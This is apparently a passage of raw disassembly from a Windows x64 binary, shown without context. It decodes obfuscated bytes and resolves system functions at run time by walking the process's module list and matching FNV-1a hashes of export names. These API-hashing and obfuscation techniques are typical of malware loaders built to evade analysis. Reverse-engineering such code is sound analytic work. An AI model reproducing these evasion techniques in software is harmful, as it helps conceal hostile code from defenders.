jne 0x14013cd36
lea edx, [r9 - 0x50]
mov ecx, Ordinal_27
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14013d000
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14013cc66
lea ecx, [r9 - 0x40]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x40
jmp 0x14013cfcf
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14013cd84
mov r11b, r9b
lea edx, [r11 + 0x7c]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x64
jmp 0x14013cf67
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14013cda8
lea ecx, [r9 - 0x64]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x44
jmp 0x14013cfac
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x14013cdcb
lea ecx, [r9 - 0x5c]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, r11b
jmp 0x14013cfcf
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14013cc99
mov r11b, r9b
lea edx, [r11 - 0x54]
mov ecx, Ordinal_41
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x14013ceec
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14013ce1a
lea ecx, [r9 + 0x50]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x30
jmp 0x14013d04d
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14013ce31
mov r11b, r9b
lea edx, [r11 + 0x60]
mov ecx, Ordinal_50
jmp 0x14013cde4
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14013cccc
mov r11b, r9b
lea edx, [r11 + 0x78]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x48
jmp 0x14013ce75
mov r11b, r9b
lea edx, [r11 - 0x60]
mov al, r8b
and al, dl
add al, al
mov dil, byte [rbp + r9 + 0x50]
sub dil, al
sub dil, 0x60
add dil, r8b
add dil, dl
add r11b, 0x24
mov al, r11b
and al, r8b
mov ecx, 2
sub cl, al
add cl, cl
add cl, r11b
add cl, r8b
add cl, dil
mov byte [rbp + r9 + 0x50], cl
jmp 0x14013cfac
mov r11b, r9b
lea edx, [r11 - 0x58]
mov al, r8b
and al, dl
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
jmp 0x14013ceec
lea edx, [r9 + 0x1c]
mov ecx, reloc.WLDAP32.dll_Ordinal_30
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14013d04d
mov r11b, r9b
lea edx, [r11 + 0xc]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x54
add dil, dl
add r11b, 0x2c
mov al, r11b
and al, r8b
add al, al
sub r11b, al
sub r11b, 0x34
add r11b, r8b
movzx eax, r11b
mov byte [rbp + r9 + 0x50], al
inc r10
add rax, r10
sub r9, rax
jmp 0x14013d000
lea ecx, [r9 + 4]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x1c
jmp 0x14013cfcf
lea ecx, [r9 - 0x14]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x74
jmp 0x14013cf8b
mov r11b, r9b
lea edx, [r11 - 0x24]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 4
add dil, dl
add r11b, 0x1c
mov al, r8b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, r8b
add cl, r11b
mov byte [rbp + r9 + 0x50], cl
inc r10
dec r9
jmp 0x14013d059
lea edx, [r9 - 0x54]
mov ecx, Ordinal_41
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
add rbx, r10
jmp 0x14013cfcf
movabs rcx, 0xc70d75a7cc3c84a4
add rcx, r9
mov al, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x7c
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14013d059
movabs rcx, 0xc3eb0879aa5a8294
add rcx, r9
mov r8b, r11b
mov al, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0xc
lea edx, [r9 - 0x50]
mov al, r8b
and al, dl
mov ecx, Ordinal_27
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x50], cl
inc rbx
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x14013d04d
movabs rcx, 0x4259d1e29969818c
add rcx, r9
mov al, cl
and al, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_22
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
movzx eax, byte [rbp + r9 + 0x50]
add rax, r10
add r9, rax
inc r9
jmp 0x14013c722
sub r9b, 0x6c
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
sub dil, 0xc
jmp 0x14013c71f
sub r9b, 0x74
mov al, r8b
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, r9b
jmp 0x14013c70f
lea rdx, [rbp + 0x1765900]
jmp 0x14013d0b2
lea rdx, [rbp + 0xaed984]
jmp 0x14013d0b2
lea rdx, [rbp + 0x50]
mov r9d, 0x40
mov r8, r14
xor ecx, ecx
call r15
mov rdx, qword [0x140319e10]
test rdx, rdx
jne 0x14013d221
mov edi, r12d
mov r14d, r13d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
lea r13d, [rdx + 8]
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, r13w
mov r15d, 0x811c9dc5
test edi, edi
je 0x14013d139
psrldq xmm0, 8
movq rdx, xmm0
movzx ecx, cx
shr rcx, 1
lea r9, [rdx + rcx*2]
mov r8d, r15d
jmp 0x14013d12b
movsx ecx, byte [rdx]
xor ecx, r8d
imul r8d, ecx, 0x1000193
add rdx, 2
cmp rdx, r9
jne 0x14013d11a
cmp r8d, edi
jne 0x14013d20c
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov rcx, qword [rcx + r10 + 0x88]
mov r11d, ecx
add r11, r10
shr rcx, 0x20
cmp r11, r10
je 0x14013d20c
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x14013d20c
mov esi, dword [r11 + 0x20]
dec ebx
lea r8, [rsi + rbx*4]
mov r9d, dword [r8 + r10]
add r9, r10
mov r8d, r15d
jmp 0x14013d18b
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
inc r9
test dl, dl
jne 0x14013d17e
cmp r8d, r14d
je 0x14013d1a0
test ebx, ebx
jne 0x14013d16c
jmp 0x14013d20c
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r10
cmp rdx, r11
jbe 0x14013d214
lea rax, [r11 + rcx]
cmp rdx, rax
jae 0x14013d214
mov edi, r15d
mov r14d, r15d
jmp 0x14013d1dd
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14013d1cf
jmp 0x14013d1f2
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14013d1e5
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x14013d0eb
mov qword [0x140319e10], rdx
mov r13d, 0xcded1a85
mov ecx, 0x99
call rdx
mov rbx, qword [0x140319e48]
test rbx, rbx
jne 0x14013d38b
mov esi, r12d
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rbx, r15
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14013d29f
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14013d292
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14013d283
cmp edx, esi
jne 0x14013d36c
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14013d36c
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14013d36c
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14013d2f3
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14013d2e8
cmp edx, r14d
je 0x14013d309
test r11d, r11d
jne 0x14013d2d3
jmp 0x14013d36c
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r9
cmp rbx, r10
jbe 0x14013d384
lea rcx, [r10 + rax]
cmp rbx, rcx
jae 0x14013d384
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14013d34b
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rbx
mov al, byte [rbx]
cmp al, 0x2e
jne 0x14013d33d
jmp 0x14013d360
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rbx
mov al, byte [rbx]
test al, al
jne 0x14013d353
mov rbx, qword [r15]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r15
je 0x14013d381
cmp qword [rax + 0x30], r12
jne 0x14013d258
mov rbx, r12
mov qword [0x140319e48], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x140319e40]
test rdx, rdx
jne 0x14013d4fb
mov esi, r12d
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rbx, r15
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14013d40f
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14013d402
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14013d3f3
cmp edx, esi
jne 0x14013d4dc
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14013d4dc
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14013d4dc
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14013d463
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14013d458
cmp edx, r14d
je 0x14013d479
test r11d, r11d
jne 0x14013d443
jmp 0x14013d4dc
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14013d4f4
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x14013d4f4
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14013d4bb
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14013d4ad
jmp 0x14013d4d0
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14013d4c3
mov rbx, qword [r15]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r15
je 0x14013d4f1
cmp qword [rax + 0x30], r12
jne 0x14013d3c8
mov rdx, r12
mov qword [0x140319e40], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x140319e38]
test rdx, rdx
jne 0x14013d662
mov esi, r12d
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rbx, r15
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14013d576
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14013d569
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14013d55a
cmp edx, esi
jne 0x14013d643
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14013d643
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14013d643
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14013d5ca
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14013d5bf
cmp edx, r14d
je 0x14013d5e0
test r11d, r11d
jne 0x14013d5aa
jmp 0x14013d643
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14013d65b
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x14013d65b
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14013d622
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14013d614
jmp 0x14013d637
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14013d62a
mov rbx, qword [r15]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r15
je 0x14013d658
cmp qword [rax + 0x30], r12
jne 0x14013d52f
mov rdx, r12
mov qword [0x140319e38], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x140319e30]
test rdx, rdx
jne 0x14013d7c9
mov esi, r12d
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rbx, r15
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14013d6dd
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14013d6d0
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14013d6c1
cmp edx, esi
jne 0x14013d7aa
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14013d7aa
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14013d7aa
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14013d731
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14013d726
cmp edx, r14d
je 0x14013d747
test r11d, r11d
jne 0x14013d711
jmp 0x14013d7aa
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14013d7c2
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x14013d7c2
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14013d789
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14013d77b
jmp 0x14013d79e
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14013d791
mov rbx, qword [r15]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r15
je 0x14013d7bf
cmp qword [rax + 0x30], r12
jne 0x14013d696
mov rdx, r12
mov qword [0x140319e30], rdx
xor ecx, ecx
call rdx
cmp qword [0x140319e28], r12
jne 0x14013d92f
mov esi, r12d
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rbx, r15
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14013d841
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14013d834
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14013d825
cmp edx, esi
jne 0x14013d910
mov r10, qword [rbx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x14013d910
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14013d910
mov edi, dword [r11 + 0x20]
dec r9d
lea rdx, [rdi + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x14013d895
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14013d88a
cmp edx, r14d
je 0x14013d8ab
test r9d, r9d
jne 0x14013d875
jmp 0x14013d910
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, r10
cmp r9, r11
jbe 0x14013d928
lea rcx, [rax + r11]
cmp r9, rcx
jae 0x14013d928
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14013d8ed
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r9
mov al, byte [r9]
cmp al, 0x2e
jne 0x14013d8df
jmp 0x14013d903
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc r9
mov al, byte [r9]
test al, al
jne 0x14013d8f6
mov rbx, qword [r15]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r15
je 0x14013d925
cmp qword [rax + 0x30], r12
jne 0x14013d7fa
mov r9, r12
mov qword [0x140319e28], r9
mov r8, qword [0x140319e58]
test r8, r8
jne 0x14013d9a3
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r10, qword [rax]
mov r8, r10
mov rcx, qword [r8 + 0x60]
movzx eax, word [r8 + 0x58]
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, 0x811c9dc5
cmp rcx, r9
je 0x14013d988
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x14013d96c
cmp edx, 0x610c0de3
je 0x14013d9f4
mov rax, qword [r8]
mov r8, rax
cmp rax, r10
je 0x14013d999
cmp qword [rax + 0x30], r12
jne 0x14013d952
mov r8, r12
mov qword [0x140319e58], r8
movsxd rax, dword [r8 + 0x3c]
mov r9d, dword [rax + r8 + 0x88]
mov r10d, r12d
mov r11d, dword [r9 + r8 + 0x20]
mov eax, r10d
lea rcx, [r11 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
inc rdx
test al, al
je 0x14013d9ef
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
inc rdx
test al, al
jne 0x14013d9d3
cmp ecx, 0xe463da3c
je 0x14013d9fa
inc r10d
jmp 0x14013d9b7
mov r8, qword [r8 + 0x30]
jmp 0x14013d99c
mov edx, dword [r9 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r9 + r8 + 0x24]
add rcx, r8
mov eax, r10d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x1403192c0]
test r10, r10
jne 0x14013db81
xor esi, esi
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov r15, qword [rcx]
mov rbx, r15
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14013da94
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14013da87
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14013da78
cmp edx, esi
jne 0x14013db61
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x14013db61
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x14013db61
mov edi, dword [r11 + 0x20]
dec r10d
lea rdx, [rdi + r10*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14013dae8
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14013dadd
cmp edx, r14d
je 0x14013dafe
test r10d, r10d
jne 0x14013dac8
jmp 0x14013db61
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x14013db7a
lea rcx, [rax + r11]
cmp r10, rcx
jae 0x14013db7a
mov esi, 0x811c9dc5
mov r14d, esi
jmp 0x14013db3e
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r10
mov al, byte [r10]
cmp al, 0x2e
jne 0x14013db30
jmp 0x14013db54
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc r10
mov al, byte [r10]
test al, al
jne 0x14013db47
mov rbx, qword [r15]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r15
je 0x14013db77
cmp qword [rax + 0x30], 0
jne 0x14013da4d
xor r10d, r10d
mov qword [0x1403192c0], r10
lea r9, [rbp + 0x214]
mov edx, 0x5000
mov r8d, 1
mov rcx, r12
call r10
mov r8, qword [0x140319e50]
test r8, r8
jne 0x14013dcfc
xor esi, esi
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rbx, r15
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14013dc0f
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14013dc02
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14013dbf3
cmp edx, esi
jne 0x14013dcdc
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14013dcdc
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14013dcdc
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14013dc63
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14013dc58
cmp edx, r14d
je 0x14013dc79
test r11d, r11d
jne 0x14013dc43
jmp 0x14013dcdc
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov r8d, dword [r8 + rdx*4]
add r8, r9
cmp r8, r10
jbe 0x14013dcf5
lea rcx, [rax + r10]
cmp r8, rcx
jae 0x14013dcf5
mov esi, 0x811c9dc5
mov r14d, esi
jmp 0x14013dcb9
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r8
mov al, byte [r8]
cmp al, 0x2e
jne 0x14013dcab
jmp 0x14013dccf
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc r8
mov al, byte [r8]
test al, al
jne 0x14013dcc2
mov rbx, qword [r15]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r15
je 0x14013dcf2
cmp qword [rax + 0x30], 0
jne 0x14013dbc8
xor r8d, r8d
mov qword [0x140319e50], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
xor r12d, r12d
lea rcx, [rbp + 0x230]
call fcn.140084d40
call fcn.140130b1c
test al, al
jne 0x14013e985
mov rdx, qword [0x140319e10]
test rdx, rdx
jne 0x14013de90
mov edi, r12d
mov r14d, r13d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
lea r13d, [rdx + 8]
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, r13w
mov r15d, 0x811c9dc5
test edi, edi
je 0x14013dda8
psrldq xmm0, 8
movq rdx, xmm0
movzx ecx, cx
shr rcx, 1
lea r9, [rdx + rcx*2]
mov r8d, r15d
jmp 0x14013dd9a
movsx ecx, byte [rdx]
xor ecx, r8d
imul r8d, ecx, 0x1000193
add rdx, 2
cmp rdx, r9
jne 0x14013dd89
cmp r8d, edi
jne 0x14013de7b
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov rcx, qword [rcx + r10 + 0x88]
mov r11d, ecx
add r11, r10
shr rcx, 0x20
cmp r11, r10
je 0x14013de7b
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x14013de7b
mov esi, dword [r11 + 0x20]
dec ebx
lea r8, [rsi + rbx*4]
mov r9d, dword [r8 + r10]
add r9, r10
mov r8d, r15d
jmp 0x14013ddfa
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
inc r9
test dl, dl
jne 0x14013dded
cmp r8d, r14d
je 0x14013de0f
test ebx, ebx
jne 0x14013dddb
jmp 0x14013de7b
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r10
cmp rdx, r11
jbe 0x14013de83
lea rax, [rcx + r11]
cmp rdx, rax
jae 0x14013de83
mov edi, r15d
mov r14d, r15d
jmp 0x14013de4c
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14013de3e
jmp 0x14013de61
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14013de54
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x14013dd5a
mov qword [0x140319e10], rdx
mov r13d, 0xcded1a85
mov ecx, 0x99
call rdx
mov rbx, qword [0x140319e48]
test rbx, rbx
jne 0x14013dffa
mov esi, r12d
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rbx, r15
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14013df0e
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14013df01
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14013def2
cmp edx, esi
jne 0x14013dfdb
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14013dfdb
